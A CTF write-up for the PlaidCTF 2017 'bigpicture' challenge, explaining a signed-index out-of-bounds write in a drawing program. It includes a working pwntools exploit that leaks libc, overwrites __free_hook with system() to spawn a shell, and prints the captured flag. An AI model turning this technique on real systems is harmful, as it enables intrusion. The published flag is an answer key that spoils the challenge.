PlaidCTF 2017 "bigpicture" write-up (pwn 200)
Task description:
Size matters!
We’re presented with a x86_64 ELF binary, libc it’s using and the source code.
$ nc bigpicture.chal.pwning.xxx 420
Let's draw a picture!
How big? 1 x 1
> 0 , 0 , A
> q
A
Bye!
The source:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
int width, height;
char *buf;
void plot(int x, int y, char c);
void draw();
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(100);
puts("Let's draw a picture!");
fputs("How big? ", stdout);
scanf(" %d x %d", &width, &height);
buf = calloc(width, height);
if(buf == NULL) {
perror("malloc");
return -1;
}
char c;
while(1) {
fputs("> ", stdout);
int x, y;
if(scanf(" %d , %d , %c", &x, &y, &c) != 3)
break;
plot(x, y, c);
}
if(scanf(" quit%c", &c) != 1)
draw();
puts("Bye!");
free(buf);
return 0;
}
char *get(size_t x, size_t y) {
return &buf[x * height + y];
}
void plot(int x, int y, char c) {
if(x >= width || y >= height) {
puts("out of bounds!");
return;
}
char *ptr = get(x, y);
if(*ptr != 0)
printf("overwriting %c!\n", *ptr);
else
*ptr = c;
}
void draw() {
int x, y;
char c;
for(y = height-1; y >= 0; y--) {
for(x = 0; x < width; x++) {
c = *get(x, y);
if(c == 0)
c = ' ';
if(putchar(c) != c)
return;
}
putchar('\n');
}
}
This is a plot drawing binary. You enter the matrix size and fill it up with characters. At the end the resulting matrix is printed back to you. The program allocates width * height
bytes on the heap to store plot values.
The actual vulnerability is in the plot
function:
void plot(int x, int y, char c) {
if(x >= width || y >= height) {
puts("out of bounds!");
return;
}
char *ptr = get(x, y);
if(*ptr != 0)
printf("overwriting %c!\n", *ptr);
else
*ptr = c;
}
Note, that both width and height variables are signed, but only upper bounds are checked. Specifying negative signed values allows us to read arbitrary non-zero values in the memory before heap or write arbirary values in case the target memory is zero. Unfortunately the binary’s relocation section is write-protected and ASLR was on. There was no obvious way to affect the control flow of the program given the only memory before the heap was the .text and .data sections of the binary. This is the case when the amount of data allocated on the heap is less then M_MMAP_THRESHOLD
value on the system. If the value is less the this constant then brk()
system call is used to increase program break and heap is in fact allocated in the .data section of the binary. Quote from man:
Note: Nowadays, glibc uses a dynamic mmap threshold by default. The initial value of the threshold is 128*1024
Luckily for us we can force calloc()
to use mmap()
to map new memory segment using the value equal to or greater than 128*1024
. This way we observe the heap being just below libc.so at a fixed offset:
Start Addr End Addr Size Offset objfile
0x55c718337000 0x55c718338000 0x1000 0x0 bigpicture
0x55c718538000 0x55c718539000 0x1000 0x1000 bigpicture
0x55c718539000 0x55c71853a000 0x1000 0x2000 bigpicture
0x7f1d3d9b8000 0x7f1d3db76000 0x1be000 0x0 libc-2.19.so
0x7f1d3db76000 0x7f1d3dd75000 0x1ff000 0x1be000 libc-2.19.so
0x7f1d3dd75000 0x7f1d3dd79000 0x4000 0x1bd000 libc-2.19.so
0x7f1d3dd79000 0x7f1d3dd7b000 0x2000 0x1c1000 libc-2.19.so
0x7f1d3dd7b000 0x7f1d3dd80000 0x5000 0x0
0x7f1d3dd80000 0x7f1d3dda3000 0x23000 0x0 ld-2.19.so
0x7f1d3df72000 0x7f1d3df96000 0x24000 0x0 <---- HEAP
0x7f1d3dfa0000 0x7f1d3dfa2000 0x2000 0x0
0x7f1d3dfa2000 0x7f1d3dfa3000 0x1000 0x22000 ld-2.19.so
0x7f1d3dfa3000 0x7f1d3dfa4000 0x1000 0x23000 ld-2.19.so
0x7f1d3dfa4000 0x7f1d3dfa5000 0x1000 0x0
0x7fff67f57000 0x7fff67f78000 0x21000 0x0 [stack]
0x7fff67fa3000 0x7fff67fa5000 0x2000 0x0 [vvar]
0x7fff67fa5000 0x7fff67fa7000 0x2000 0x0 [vdso]
We want to overwrite the __free_hook
pointer at libc’s data section with address of system()
. It is used by the free
function:
This hook is placed in the .bss
section of libc at a fixed offset:
.bss:00000000003C57A8 public __free_hook ; weak
.bss:00000000003C57A8 ; __int64 (__fastcall *_free_hook)(_QWORD, _QWORD)
To figure out the absolute address of system()
we need to leak the address of some location in libc. Again, we can use .got
section of libc which contains pointer to free()
funcion at a fixed address:
.got:00000000003C2F98 free_ptr dq offset free ; DATA XREF: j_free_r
Last thing we have to do is write /bin/sh
string to the memory allocated on the heap as its reference will be passed to the free
function, which is effectively replaced with system()
.
Exploit code
from pwn import *
from time import sleep
from struct import unpack, pack
import sys
import re
#libc 2.23
offset_to_start_libc = -0x5c2010
offset_system = 0x045390
offset_free = 0x083940
offset_ptr_free = 0x03C2F98
offset_free_hook = 0x3C57A8
pc = remote('bigpicture.chal.pwning.xxx', 420)
pc.sendline(' 131072 x 1\n') # 128 * 1024
pc.recv()
pointer_buf = ''
for i in range(-8, -2):
off = offset_to_start_libc + offset_ptr_free + 8
pc.sendline(' {} , {} , A\n'.format(off, i))
sleep(0.5)
res = pc.recv()
byte = re.search("overwriting (.{1})!", res).group(1)
pointer_buf += byte
offset_abs_free = unpack("<Q", pointer_buf + '\x00\x00')[0]
print 'Free address:', hex(offset_abs_free)
offset_abs_system = offset_abs_free - (offset_free - offset_system)
print 'System address:', hex(offset_abs_system)
print 'Overwriting __free_hook ptr with system address'
for k, i in enumerate(range(-8,-2)):
byte_to_send = pack("<Q", offset_abs_system)[k]
off = offset_to_start_libc + offset_free_hook + 8
pc.sendline(' {} , {} , {}\n'.format(off , i, byte_to_send))
sleep(0.5)
print 'Writing "/bin/sh" to heap'
for k, i in enumerate(range(-8, 0)):
byte_to_send = '/bin/sh\x00'[k]
pc.sendline(' {} , {} , {}\n'.format(8 , i, byte_to_send))
sleep(0.5)
pc.sendline(' q')
pc.interactive()
# python sploit.py
[+] Opening connection to bigpicture.chal.pwning.xxx on port 420: Done
Free address: 0x7f973313d940
System address: 0x7f97330ff390
Overwriting __free_hook ptr with system address
Writing "/bin/sh" to heap
[*] Switching to interactive mode
$ cat /home/bigpicture/flag
PCTF{draw_me_like_one_of_your_pwn200s}